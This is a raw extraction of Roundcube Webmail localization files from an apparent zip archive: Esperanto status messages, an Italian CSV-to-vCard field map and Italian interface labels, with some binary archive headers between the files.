$messages['nosubjectwarning']  = 'La temkampo estas malplena. Ĉu vi volas skribi temon nun?';
$messages['nobodywarning'] = 'Ĉu sendi ĉi tiun mesaĝon sen teksto?';
$messages['nosearchname'] = 'Bonvolu enmeti kontakt-nomon aŭ retpoŝt-adreson.';
$messages['searchsuccessful'] = 'trovis $nr mesaĝojn';
$messages['searchnomatch'] = 'Serĉo donis nenion';
$messages['searching'] = 'Serĉanta...';
$messages['checking'] = 'Kontrolanta...';
$messages['nospellerrors'] = 'Neniujn literumada eraro trovita';
$messages['folderdeleted'] = 'Forigis dosierujon sukcese';
$messages['deletedsuccessfully'] = 'Sukcese forigis';
$messages['converting'] = 'Foriganta formatan de mesaĝo...';
$messages['messageopenerror'] = 'Ne povis ŝargi mesaĝon de servilo';
$messages['fileuploaderror'] = 'Malsukcesis alŝuti dosieron';
$messages['filesizeerror'] = 'La alŝutita dosiero superas la maksimuman grandon de $size';
$messages['sourceisreadonly'] = 'Ĉi tiu adres-fonto estas nurlegebla';
$messages['errorsavingcontact'] = 'Ne povis savi la kontakt-adreson';
$messages['movingmessage'] = 'Translokanta mesaĝon...';
$messages['receiptsent'] = 'Sukcese sendis konfirmon';
$messages['errorsendingreceipt'] = 'Ne povis sendi konfirmon';
$messages['nodeletelastidentity'] = 'Vi ne povas forigi ĉi tiun identon, ĉar ĝi estas la lasta';
$messages['forbiddencharacter'] = 'Dosierujo-nomo enhavas malpermesitan karaktron';
PK
h�\��}i��(program/localization/it_IT/csv2vcard.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | localization/it_IT/csv2vcard.inc                                      |
 |                                                                       |
 | Localization file of the Roundcube Webmail client                     |
 | Copyright (C) 2005-2014, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/
$map = array();
$map['anniversary'] = "Anniversario";
$map['assistants_name'] = "Nome dell'assistente";
$map['assistants_phone'] = "Telefono dell'assistente";
$map['birthday'] = "Compleanno";
$map['business_city'] = "Città di lavoro";
$map['business_countryregion'] = "Nazione/Regione di lavoro";
$map['business_fax'] = "Fax di Lavoro";
$map['business_phone'] = "Telefono di Lavoro";
$map['business_phone_2'] = "Telefono di Lavoro 2";
$map['business_postal_code'] = "CAP di Lavoro";
$map['business_state'] = "Provincia di lavoro";
$map['business_street'] = "Indirizzo di lavoro";
$map['car_phone'] = "Telefono dell'Auto";
$map['categories'] = "Categorie";
$map['company'] = "Società";
$map['department'] = "Reparto";
$map['email_address'] = "Indirizzo E-mail";
$map['email_2_address'] = "Indirizzo E-mail 2";
$map['email_3_address'] = "Indirizzo E-mail 3";
$map['first_name'] = "Nome";
$map['gender'] = "Genere";
$map['home_city'] = "Città di residenza";
$map['home_countryregion'] = "Nazione/Regione di casa";
$map['home_fax'] = "Fax di casa";
$map['home_phone'] = "Telefono di casa";
$map['home_phone_2'] = "Telefono di casa 2";
$map['home_postal_code'] = "CAP di casa";
$map['home_state'] = "Provincia di residenza";
$map['home_street'] = "Indirizzo di casa";
$map['job_title'] = "Qualifica";
$map['last_name'] = "Cognome";
$map['managers_name'] = "Nome del Responsabile";
$map['middle_name'] = "Secondo Nome";
$map['mobile_phone'] = "Telefono Mobile";
$map['notes'] = "Note";
$map['other_city'] = "Città Altro";
$map['other_countryregion'] = "Nazione/Regione Altro";
$map['other_fax'] = "Fax Altro";
$map['other_phone'] = "Phone Altro";
$map['other_postal_code'] = "CAP Postale Altro";
$map['other_state'] = "Stato Altro";
$map['other_street'] = "Via Altro";
$map['pager'] = "Numero cercapersone";
$map['primary_phone'] = "Telefono Principale";
$map['spouse'] = "Coniuge";
$map['suffix'] = "Suffisso";
$map['title'] = "Titolo";
$map['web_page'] = "Pagina Web";
$map['birth_day'] = "Giorno di nascita";
$map['birth_month'] = "Mese di nascita";
$map['birth_year'] = "Anno di nascita";
$map['display_name'] = "Nome visualizzato";
$map['fax_number'] = "Numero fax";
$map['home_address'] = "Indirizzo di casa 2";
$map['home_country'] = "Nazione di residenza";
$map['home_zipcode'] = "CAP di residenza";
$map['mobile_number'] = "Numero cellulare";
$map['nickname'] = "Soprannome";
$map['organization'] = "Organizzazione";
$map['pager_number'] = "Numero Pager";
$map['primary_email'] = "Email principale";
$map['secondary_email'] = "Email secondaria";
$map['web_page_1'] = "Pagina web 1";
$map['web_page_2'] = "Pagina web 2";
$map['work_phone'] = "Telefono lavoro";
$map['work_address'] = "Indirizzo di lavoro 2";
$map['work_country'] = "Nazione di lavoro";
$map['work_zipcode'] = "CAP di lavoro";
$map['date_of_birth'] = "Data di Nascita";
$map['email'] = "Email";
$map['home_mobile'] = "Cellulare di Casa";
$map['home_zip'] = "CAP di casa";
$map['info'] = "Info";
$map['user_photo'] = "Foto";
$map['url'] = "URL";
$map['work_city'] = "Città di Lavoro";
$map['work_company'] = "Società di lavoro";
$map['work_dept'] = "Reparto di lavoro";
$map['work_fax'] = "Fax di lavoro";
$map['work_mobile'] = "Cellulare di lavoro";
$map['work_state'] = "Nazione/Regione di lavoro";
$map['work_title'] = "Titolo di lavoro";
$map['work_zip'] = "CAP di lavoro";
PK
h�\�n�����%program/localization/it_IT/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Benvenuto in $product';
$labels['username'] = 'Nome Utente';
$labels['password'] = 'Password';
$labels['server'] = 'Server';
$labels['login'] = 'Accedi';
$labels['oauthlogin'] = 'Accedi con $provider';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Esci';
$labels['mail'] = 'E-Mail';
$labels['settings'] = 'Impostazioni';
$labels['addressbook'] = 'Rubrica';
$labels['darkmode'] = 'Modalità scura';
$labels['lightmode'] = 'Modalità chiara';
$labels['inbox'] = 'Posta in arrivo';
$labels['drafts'] = 'Bozze';
$labels['sent'] = 'Inviata';
$labels['trash'] = 'Cestino';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Mostra nomi reali per le cartelle speciali';
$labels['subject'] = 'Oggetto';
$labels['from'] = 'Mittente';
$labels['sender'] = 'Mittente';
$labels['to'] = 'Destinatario';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Ccn';
$labels['replyto'] = 'Rispondi a';
$labels['followupto'] = 'Followup-To';
$labels['date'] = 'Data';
$labels['size'] = 'Dimensione';
$labels['priority'] = 'Priorità';
$labels['organization'] = 'Società';
$labels['readstatus'] = 'Visualizza lo stato';
$labels['listoptions'] = 'Elenca opzioni...';
$labels['listoptionstitle'] = 'Elenca opzioni';
$labels['mailboxlist'] = 'Cartelle';
$labels['messagesfromto'] = 'Messaggi da $from a $to di $count';
$labels['threadsfromto'] = 'Argomenti da $from a $to di $count';
$labels['messagenrof'] = 'Messaggio $nr di $count';
$labels['fromtoshort'] = '$from – $to di $count';
$labels['copy'] = 'Copia';
$labels['move'] = 'Sposta';
$labels['moveto'] = 'Sposta in...';
$labels['copyto'] = 'Copia su...';
$labels['download'] = 'Download';
$labels['open'] = 'Apri';
$labels['showattachment'] = 'Visualizza';
$labels['showanyway'] = 'Visualizza comunque';
$labels['filename'] = 'Nome file';
$labels['filesize'] = 'Dimensione file';
$labels['addtoaddressbook'] = 'Aggiungi alla rubrica';
$labels['sun'] = 'Dom';
$labels['mon'] = 'Lun';
$labels['tue'] = 'Mar';
$labels['wed'] = 'Mer';
$labels['thu'] = 'Gio';
$labels['fri'] = 'Ven';
$labels['sat'] = 'Sab';
$labels['sunday'] = 'Domenica';
$labels['monday'] = 'Lunedì';
$labels['tuesday'] = 'Martedì';
$labels['wednesday'] = 'Mercoledì';
$labels['thursday'] = 'Giovedì';
$labels['friday'] = 'Venerdì';
$labels['saturday'] = 'Sabato';
$labels['jan'] = 'Gen';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'Maggio';
$labels['jun'] = 'Giu';
$labels['jul'] = 'Lug';
$labels['aug'] = 'Ago';
$labels['sep'] = 'Set';
$labels['oct'] = 'Ott';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dic';
$labels['longjan'] = 'Gennaio';
$labels['longfeb'] = 'Febbraio';
$labels['longmar'] = 'Marzo';
$labels['longapr'] = 'Aprile';
$labels['longmay'] = 'Maggio';
$labels['longjun'] = 'Giugno';
$labels['longjul'] = 'Luglio';
$labels['longaug'] = 'Agosto';
$labels['longsep'] = 'Settembre';
$labels['longoct'] = 'Ottobre';
$labels['longnov'] = 'Novembre';
$labels['longdec'] = 'Dicembre';
$labels['today'] = 'Oggi';
$labels['refresh'] = 'Aggiorna';
$labels['checkmail'] = 'Controlla nuovi messaggi';
$labels['compose'] = 'Nuovo messaggio';
$labels['writenewmessage'] = 'Scrivi un nuovo messaggio';
$labels['reply'] = 'Rispondi';
$labels['replytomessage'] = 'Rispondi al mittente';
$labels['replytoallmessage'] = 'Rispondi al mittente e ai destinatari';
$labels['replyall'] = 'Rispondi a tutti';
$labels['replylist'] = 'Rispondi alla mailing list';
$labels['forward'] = 'Inoltra';
$labels['forwardinline'] = 'Inoltra come messaggio';
$labels['forwardattachment'] = 'Inoltra come allegato';
$labels['forwardmessage'] = 'Inoltra il messaggio';
$labels['bouncemsg'] = 'Invia di nuovo (bounce)';
$labels['bounce'] = 'Reinviare';
$labels['deletemessage'] = 'Elimina il messaggio';
$labels['movemessagetotrash'] = 'Sposta il messaggio nel cestino';
$labels['printmessage'] = 'Stampa il messaggio';
$labels['previousmessage'] = 'Visualizza il messaggio precedente';
$labels['firstmessage'] = 'Visualizza il primo messaggio';
$labels['nextmessage'] = 'Visualizza il messaggio successivo';
$labels['lastmessage'] = 'Visualizza l\'ultimo messaggio';
$labels['backtolist'] = 'Torna alla lista messaggi';
$labels['viewsource'] = 'Visualizza sorgente messaggio';
$labels['mark'] = 'Contrassegna';
$labels['markmessages'] = 'Marca i messaggi';
$labels['markread'] = 'Letti';
$labels['markunread'] = 'Non letti';
$labels['markflagged'] = 'Contrassegnato';
$labels['markunflagged'] = 'Non contrassegnato';
$labels['markundeleted'] = 'Come non eliminato';
$labels['moreactions'] = 'Altre operazioni...';
$labels['markallread'] = 'Contrassegna tutti come letti';
$labels['folders-cur'] = 'Seleziona solo la cartelle';
$labels['folders-sub'] = 'Seleziona la cartelle e le sue sottocartelle';
$labels['folders-all'] = 'Tutte le cartelle';
$labels['more'] = 'Azioni';
$labels['back'] = 'Indietro';
$labels['options'] = 'Opzioni';
$labels['composeoptions'] = 'Opzioni di composizione';
$labels['optionsandattachments'] = 'Opzioni ed allegati';
$labels['actions'] = 'Azioni';
$labels['first'] = 'Primo';
$labels['last'] = 'Ultimo';
$labels['previous'] = 'Precedente';
$labels['next'] = 'Successivo';
$labels['select'] = 'Seleziona';
$labels['selection'] = 'Selezione';
$labels['all'] = 'Tutti';
$labels['none'] = 'Nessuno';
$labels['currpage'] = 'Pagina corrente';
$labels['isread'] = 'Letto';
$labels['unread'] = 'Non letto';
$labels['flagged'] = 'Contrassegnato';
$labels['unflagged'] = 'Non contrassegnato';
$labels['unanswered'] = 'Senza risposta';
$labels['withattachment'] = 'Con allegato';
$labels['deleted'] = 'Eliminato';
$labels['undeleted'] = 'Non eliminato';
$labels['replied'] = 'Risposta';
$labels['forwarded'] = 'Inoltrata';
$labels['invert'] = 'Inverti';
$labels['filter'] = 'Filtra';
$labels['list'] = 'Elenco';
$labels['threads'] = 'Argomenti';
$labels['expand-all'] = 'Espandi tutto';
$labels['expand-unread'] = 'Espandi non letti';
$labels['collapse-all'] = 'Richiudi tutti';
$labels['threaded'] = 'Per argomenti';
$labels['showunread'] = 'Mostra messaggi non letti';
$labels['autoexpand_threads'] = 'Espandi';
$labels['do_expand'] = 'tutti gli argomenti';
$labels['expand_only_unread'] = 'solo con messaggi non letti';
$labels['fromto'] = 'Mittente/Destinatario';
$labels['flag'] = 'Contrassegnato';
$labels['attachment'] = 'Allegato';
$labels['nonesort'] = 'Nessuno';
$labels['sentdate'] = 'Data d\'invio';
$labels['arrival'] = 'Data di arrivo';
$labels['asc'] = 'crescente';
$labels['desc'] = 'descrescente';
$labels['listcolumns'] = 'Elenca colonne';
$labels['listsorting'] = 'Ordina per';
$labels['listorder'] = 'Ordinamento';
$labels['listmode'] = 'Modalità di visualizzazione';
$labels['lmode'] = 'Modalità lista';
$labels['layout'] = 'Layout';
$labels['layoutwidescreen'] = 'Widescreen';
$labels['layoutdesktop'] = 'Desktop';
$labels['layoutlist'] = 'Elenco';
$labels['layoutwidescreendesc'] = 'Schermo largo (vista a 3 colonne)';
$labels['layoutdesktopdesc'] = 'Desktop (elenco ampio e anteprima del messaggio di sotto)';
$labels['layoutlistdesc'] = 'Elenco (senza anteprima del messaggio)';
$labels['folderactions'] = 'Azioni cartella...';
$labels['compact'] = 'Compatta';
$labels['empty'] = 'Svuota';
$labels['importmessages'] = 'Importa messaggi';
$labels['mailimportdesc'] = 'Puoi importare file di e-mail in formato <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> o <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Files multipli possono essere compressi in archivi zip.';
$labels['quota'] = 'Spazio utilizzato';
$labels['unknown'] = 'sconosciuto';
$labels['unlimited'] = 'illimitato';
$labels['quotatype'] = 'Tipo di quota';
$labels['quotatotal'] = 'Limite';
$labels['quotaused'] = 'Utilizzato';
$labels['quotastorage'] = 'Spazio disco';
$labels['quotamessage'] = 'Contatore messaggi';
$labels['shortheaderdate'] = 'Il $date';
$labels['shortheaderto'] = 'A $to il $date';
$labels['shortheaderfrom'] = 'Da $from il $date';
$labels['quicksearch'] = 'Ricerca veloce';
$labels['searchplaceholder'] = 'Cerca...';
$labels['resetsearch'] = 'Annulla ricerca';
$labels['searchmod'] = 'Ambito di ricerca';
$labels['msgtext'] = 'Intero messaggio';
$labels['body'] = 'Corpo';
$labels['type'] = 'Tipo';
$labels['namex'] = 'Nome';
$labels['searchscope'] = 'Contesto';
$labels['currentfolder'] = 'Cartella corrente';
$labels['subfolders'] = 'Questa e le sottocartelle';
$labels['allfolders'] = 'Tutte le cartelle';
$labels['searchinterval-1W'] = 'più vecchio di una settimana';
$labels['searchinterval-1M'] = 'più vecchio di un mese';
$labels['searchinterval-1Y'] = 'più vecchio di un anno';
$labels['searchinterval1W'] = 'più recente di una settimana';
$labels['searchinterval1M'] = 'più recente di un mese';
$labels['searchinterval1Y'] = 'più recente di un anno';
$labels['openinextwin'] = 'Apri in una nuova finestra';
$labels['emlsave'] = 'Scarica (.eml)';
$labels['changeformattext'] = 'Visualizza nel formato testo semplice';
$labels['changeformathtml'] = 'Visualizza nel formato HTML';
$labels['editasnew'] = 'Modifica come nuovo';
$labels['send'] = 'Invia';
$labels['sendmessage'] = 'Invia messaggio';
$labels['savemessage'] = 'Salva come bozza';
$labels['addattachment'] = 'Allega un file';
$labels['charset'] = 'Insieme di caratteri';
$labels['editortype'] = 'Tipo editor';
$labels['returnreceipt'] = 'Ricevuta di ritorno';
$labels['dsn'] = 'Notifica di consegna';
$labels['keepformatting'] = 'Mantieni la formattazione';
$labels['mailreplyintro'] = 'Il $date $sender ha scritto:';
$labels['originalmessage'] = 'Messaggio originale';
$labels['selectimage'] = 'Selezione immagine';
$labels['addimage'] = 'Aggiungi immagine';
$labels['selectmedia'] = 'Seleziona video';
$labels['addmedia'] = 'Aggiungi video';
$labels['encrypt'] = 'Cifra';
$labels['encryptmessage'] = 'Cifra il messaggio';
$labels['encryptmessagemailvelope'] = 'Cifra il messaggio con Mailvelope';
$labels['importpubkeys'] = 'Importa le chiavi pubbliche';
$labels['encryptedsendialog'] = 'Invia un messaggio cifrato';
$labels['encryptandsign'] = 'Cifra e firma';
$labels['keyid'] = 'ID della chiave';
$labels['keylength'] = 'Bit';
$labels['keyexpired'] = 'Scaduta';
$labels['keyrevoked'] = 'Revocata';
$labels['bccinstead'] = 'Usa ccn';
$labels['addheader'] = 'Aggiungi destinatario (intestazione)';
$labels['insert'] = 'Inserisci';
$labels['insertcontact'] = 'Aggiungi contatto(i)';
$labels['recipient'] = 'Destinatario';
$labels['recipientedit'] = 'Modifica il destinatario';
$labels['editidents'] = 'Modifica identità';
$labels['spellcheck'] = 'Controllo ortografico';
$labels['checkspelling'] = 'Controlla ortografia';
$labels['resumeediting'] = 'Torna al messaggio';
$labels['revertto'] = 'Ripristina';
$labels['restore'] = 'Ripristina';
$labels['restoremessage'] = 'Ripristinare il messaggio?';
$labels['ignore'] = 'Ignora';
$labels['responses'] = 'Risposte';
$labels['insertresponse'] = 'Inserisci una risposta';
$labels['manageresponses'] = 'Gestione risposte';
$labels['newresponse'] = 'Crea una nuova risposta';
$labels['addresponse'] = 'Aggiungi risposta';
$labels['editresponse'] = 'Modifica risposta';
$labels['editresponses'] = 'Modifica risposte';
$labels['responsename'] = 'Nome';
$labels['responsetext'] = 'Testo della risposta';
$labels['attach'] = 'Allega';
$labels['attachments'] = 'Allegati';
$labels['upload'] = 'Invia';
$labels['uploadprogress'] = '$percent ($current su $total)';
$labels['close'] = 'Chiudi';
$labels['messageoptions'] = 'Opzioni messaggi...';
$labels['togglecomposeoptions'] = 'Passa alle impostazioni di composizione';
$labels['attachmentrename'] = 'Rinomina allegato';
$labels['low'] = 'Bassa';
$labels['lowest'] = 'Molto bassa';
$labels['normal'] = 'Normale';
$labels['high'] = 'Alta';
$labels['highest'] = 'Molto alta';
$labels['nosubject'] = '(nessun oggetto)';
$labels['showimages'] = 'Visualizza immagini';
$labels['allow'] = 'Permetti';
$labels['alwaysshow'] = 'Mostra sempre immagini da $sender';
$labels['alwaysallow'] = 'Permetti sempre da $sender';
$labels['isdraft'] = 'Questa è una bozza.';
$labels['andnmore'] = 'ancora $nr...';
$labels['details'] = 'Dettagli';
$labels['summary'] = 'Riepilogo';
$labels['headers'] = 'Intestazioni';
$labels['allheaders'] = 'Tutte le intestazioni...';
$labels['togglemoreheaders'] = 'Mostra più intestazioni dei messaggi';
$labels['togglefullheaders'] = 'Visualizza/nascondi intestazioni originali';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Testo semplice';
$labels['savesentmessagein'] = 'Salva i messaggi inviati in';
$labels['dontsave'] = 'non salvare';
$labels['maxuploadsize'] = 'La dimensione massima consentita è $size';
$labels['addcc'] = 'Aggiungi Cc';
$labels['addbcc'] = 'Aggiungi Ccn';
$labels['addreplyto'] = 'Aggiungi Rispondi a';
$labels['addfollowupto'] = 'Aggiungi Followup-To';
$labels['sendreceipt'] = 'Invia conferma di lettura?';
$labels['mdnrequest'] = 'Il mittente ha richiesto di ricevere una notifica dell\'avvenuta lettura del messaggio. Intendi inviare tale notifica?';
$labels['receiptread'] = 'Ricevuta di ritorno (letto)';
$labels['yourmessage'] = 'Questa è la ricevuta di ritorno del messaggio inviato';
$labels['receiptnote'] = 'Nota: questa Ricevuta di ritorno attesta solamente che il messaggio è stato visualizzato nel computer del destinatario. Non c\'è pertanto alcuna garanzia che il destinatario abbia letto o compreso il suo contenuto.';
$labels['sendalwaysto'] = 'Invia sempre a $email';
$labels['zoomin'] = 'Ingrandisci';
$labels['zoomout'] = 'Rimpicciolisci';
$labels['rotate'] = 'Ruota';
$labels['increaseimage'] = 'Aumenta dimensione dell\'immagine';
$labels['decreaseimage'] = 'Diminuisci dimensione dell\'immagine';
$labels['rotateimage'] = 'Ruota immagine';
$labels['showtools'] = 'Mostra strumenti per l\'immagine';
$labels['hidetools'] = 'Nascondi strumenti per l\'immagine';
$labels['name'] = 'Nome visualizzato';
$labels['firstname'] = 'Nome';
$labels['surname'] = 'Cognome';
$labels['middlename'] = 'Secondo nome';
$labels['nameprefix'] = 'Prefisso';
$labels['namesuffix'] = 'Suffisso';
$labels['nickname'] = 'Soprannome';
$labels['jobtitle'] = 'Qualifica';
$labels['department'] = 'Dipartimento';
$labels['gender'] = 'Sesso';
$labels['maidenname'] = 'Cognome da nubile';
$labels['email'] = 'E-Mail';
$labels['phone'] = 'Telefono';
$labels['address'] = 'Indirizzo';
$labels['street'] = 'Via';
$labels['locality'] = 'Città';
$labels['zipcode'] = 'CAP';
$labels['region'] = 'Stato/provincia';
$labels['country'] = 'Nazione';
$labels['birthday'] = 'Compleanno';
$labels['anniversary'] = 'Anniversario';
$labels['website'] = 'Sito web';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Note';
$labels['male'] = 'maschio';
$labels['female'] = 'femmina';
$labels['manager'] = 'Dirigente';
$labels['assistant'] = 'Assistente';
$labels['spouse'] = 'Coniuge';
$labels['allfields'] = 'Tutti i campi';
$labels['search'] = 'Ricerca';
$labels['searchresult'] = 'Risultati ricerca';
$labels['advsearch'] = 'Ricerca avanzata';
$labels['advanced'] = 'Avanzata';
$labels['other'] = 'Altro';
$labels['printcontact'] = 'Stampa contatto';
$labels['qrcode'] = 'Codice QR';
$labels['typehome'] = 'Casa';
$labels['typework'] = 'Lavoro';
$labels['typeother'] = 'Altro';
$labels['typemobile'] = 'Cellulare';
$labels['typemain'] = 'Principale';
$labels['typehomefax'] = 'Fax casa';
$labels['typeworkfax'] = 'Fax lavoro';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Teledrin';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistente';
$labels['typehomepage'] = 'Home page';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profilo';
$labels['addfield'] = 'Aggiungi campo...';
$labels['addcontact'] = 'Aggiungi contatto';
$labels['editcontact'] = 'Modifica contatto';
$labels['contacts'] = 'Contatti';
$labels['contactproperties'] = 'Proprietà contatto';
$labels['contactnameandorg'] = 'Nome e società';
$labels['personalinfo'] = 'Informazioni personali';
$labels['personal'] = 'Personale';
$labels['contactphoto'] = 'Avatar';
$labels['edit'] = 'Modifica';
$labels['cancel'] = 'Annulla';
$labels['save'] = 'Salva';
$labels['delete'] = 'Elimina';
$labels['discard'] = 'Scarta';
$labels['continue'] = 'Continua';
$labels['ok'] = 'Ok';
$labels['rename'] = 'Rinomina';
$labels['addphoto'] = 'Aggiungi';
$labels['replacephoto'] = 'Sostituisci';
$labels['uploadphoto'] = 'Carica foto';
$labels['choosefile'] = 'Seleziona il file...';
$labels['choosefiles'] = 'Seleziona i files...';
$labels['browse'] = 'Sfoglia';
$labels['newcontact'] = 'Crea un nuovo contatto';
$labels['deletecontact'] = 'Elimina i contatti selezionati';
$labels['composeto'] = 'Invia messaggio a';
$labels['contactsfromto'] = 'Contatti da $from a $to di $count';
$labels['print'] = 'Stampa';
$labels['export'] = 'Esporta';
$labels['exportall'] = 'Esporta tutto';
$labels['exportsel'] = 'Esporta selezionati';
$labels['exportvcards'] = 'Esporta i contatti in formato vCard';
$labels['newgroup'] = 'Crea un nuovo gruppo';
$labels['addgroup'] = 'Aggiungi gruppo';
$labels['grouprename'] = 'Rinomina il gruppo';
$labels['groupdelete'] = 'Elimina il gruppo';
$labels['groupassign'] = 'Assegna a gruppo...';
$labels['groupremove'] = 'Rimuovi dal gruppo';
$labels['groupremoveselected'] = 'Rimuovi i contatti selezionati dal gruppo';
$labels['uponelevel'] = 'Sali di un livello';
$labels['previouspage'] = 'Pagina precedente';
$labels['firstpage'] = 'Prima pagina';
$labels['nextpage'] = 'Pagina successiva';
$labels['lastpage'] = 'Ultima pagina';
$labels['group'] = 'Gruppo';
$labels['groups'] = 'Gruppi';
$labels['listgroup'] = 'Elenca membri dei gruppi';
$labels['personaladrbook'] = 'Rubrica personale';
$labels['searchsave'] = 'Salva ricerca';
$labels['searchdelete'] = 'Elimina ricerca';
$labels['import'] = 'Importa';
$labels['importcontacts'] = 'Importa contatti';
$labels['importfromfile'] = 'Importa da file';
$labels['importtarget'] = 'Aggiungi contatti a';
$labels['importreplace'] = 'Sostituisci l\'intera rubrica';
$labels['importgroups'] = 'Importa le assegnazioni di gruppo';
$labels['importgroupsall'] = 'Tutti (crea i gruppi se necessario)';
$labels['importgroupsexisting'] = 'Solo per i gruppi esistenti';
$labels['importdesc'] = 'Puoi importare i contatti da una rubrica esistente.<br/>Attualmente è possibile l\'importazione di indirizzi in formato <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> o CSV.';
$labels['importmapdesc'] = 'Conferma che la mappatura dei campi di seguito sia corretta prima di procedere con l\'importazione dei dati CSV (separati da virgola).';
$labels['fieldnotmapped'] = 'Campo non mappato (non importare)';
$labels['skipheader'] = 'Non importare la prima riga (intestazioni)';
$labels['done'] = 'Fatto';
$labels['settingsfor'] = 'Impostazioni per';
$labels['about'] = 'Informazioni';
$labels['preferences'] = 'Preferenze';
$labels['userpreferences'] = 'Preferenze utente';
$labels['editpreferences'] = 'Modifica le preferenze per l\'utente';
$labels['identities'] = 'Identità';
$labels['manageidentities'] = 'Gestisci identità';
$labels['newidentity'] = 'Crea una nuova identità';
$labels['addidentity'] = 'Aggiungi identità';
$labels['editidentity'] = 'Modifica identità';
$labels['identityencryption'] = 'Cifratura';
$labels['preferhtml'] = 'Mostra HTML';
$labels['defaultcharset'] = 'Set di caratteri predefinito';
$labels['htmlmessage'] = 'Messaggio HTML';
$labels['messagepart'] = 'Parte';
$labels['digitalsig'] = 'Firma digitale';
$labels['dateformat'] = 'Formato data';
$labels['timeformat'] = 'Formato orario';
$labels['prettydate'] = 'Date più leggibili';
$labels['setdefault'] = 'Imposta predefinita';
$labels['autodetect'] = 'Auto';
$labels['language'] = 'Lingua';
$labels['timezone'] = 'Fuso orario';
$labels['pagesize'] = 'Righe per pagina';
$labels['signature'] = 'Firma';
$labels['dstactive'] = 'Gestione ora legale';
$labels['showinextwin'] = 'Apri il messaggio in una nuova finestra';
$labels['composeextwin'] = 'Componi in una nuova finestra';
$labels['htmleditor'] = 'Scrivi i messaggi in HTML';
$labels['htmlonreply'] = 'solo in risposta a messaggi HTML';
$labels['htmlonreplyandforward'] = 'su inoltro o risposta a messaggi HTML';
$labels['htmlsignature'] = 'Firma in HTML';
$labels['showemail'] = 'Visualizza indirizzi di posta con il nome visualizzato';
$labels['previewpane'] = 'Mostra l\'anteprima';
$labels['skin'] = 'Tema interfaccia';
$labels['logoutclear'] = 'Svuota il cestino all\'uscita';
$labels['logoutcompact'] = 'Compatta la Posta in arrivo all\'uscita';
$labels['uisettings'] = 'Interfaccia utente';
$labels['serversettings'] = 'Impostazioni server';
$labels['mailboxview'] = 'Impaginazione messaggi';
$labels['mdnrequests'] = 'Su richiesta per la ricevuta di ritorno';
$labels['askuser'] = 'chiedi conferma';
$labels['autosend'] = 'invia notifica';
$labels['autosendknown'] = 'invia notifica ai miei contatti, altrimenti chiedi conferma';
$labels['autosendknownignore'] = 'invia notifica ai miei contatti, altrimenti ignora';
$labels['autosendtrusted'] = 'invia ricevuta a mittenti attendibili, altrimenti chiedimelo';
$labels['autosendtrustedignore'] = 'invia la ricevuta a mittenti attendibili, altrimenti ignora';
$labels['ignorerequest'] = 'ignora la richiesta';
$labels['readwhendeleted'] = 'Marca il messaggio come letto prima di eliminarlo';
$labels['flagfordeletion'] = 'Marca il messaggio come eliminato invece di eliminarlo';
$labels['skipdeleted'] = 'Non mostrare i messaggi marcati come eliminati';
$labels['deletealways'] = 'Quando non è possibile spostare i messaggi nel Cestino, eliminali';
$labels['deletejunk'] = 'Elimina direttamente i messaggi in Spam';
$labels['showremoteimages'] = 'Mostra immagini remote contenute nel messaggio';
$labels['allowremoteresources'] = 'Permetti risorse remote (immagini, stili)';
$labels['fromknownsenders'] = 'da mittenti conosciuti';
$labels['fromtrustedsenders'] = 'da mittenti attendibili';
$labels['frommycontacts'] = 'dai miei contatti';
$labels['always'] = 'sempre';
$labels['alwaysbutplain'] = 'sempre, ad eccezione di quando si risponde in formato testo';
$labels['showinlineimages'] = 'Mostra immagini allegate sotto il messaggio';
$labels['autosavedraft'] = 'Salva le bozze automaticamente';
$labels['everynminutes'] = 'ogni $n minuto(i)';
$labels['refreshinterval'] = 'Aggiorna (controlla nuovi messaggi, ecc.)';
$labels['never'] = 'mai';
$labels['immediately'] = 'immediatamente';
$labels['messagesdisplaying'] = 'Visualizzazione messaggi';
$labels['messagescomposition'] = 'Composizione messaggi';
$labels['mimeparamfolding'] = 'Nomi allegati';
$labels['2231folding'] = 'RFC 2231 completo (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 completo (altri)';
$labels['force7bit'] = 'Usa la codifica MIME per i caratteri a 8-bit';
$labels['savelocalstorage'] = "Salva nell'archiviazione locale del browser (temporaneamente)";
$labels['advancedoptions'] = 'Opzioni avanzate';
$labels['toggleadvancedoptions'] = 'Passa alle impostazioni avanzate';
$labels['focusonnewmessage'] = 'Attiva la finestra del browser all\'arrivo di un nuovo messaggio';
$labels['checkallfolders'] = 'Controlla tutte le cartelle per la presenza di nuovi messaggi';
$labels['displaynext'] = 'Visualizza la voce successiva dell\'elenco dopo l\'eliminazione/spostamento';
$labels['defaultfont'] = 'Carattere standard per messaggi in HTML';
$labels['mainoptions'] = 'Opzioni principali';
$labels['browseroptions'] = 'Opzioni del browser';
$labels['section'] = 'Sezione';
$labels['maintenance'] = 'Manutenzione';
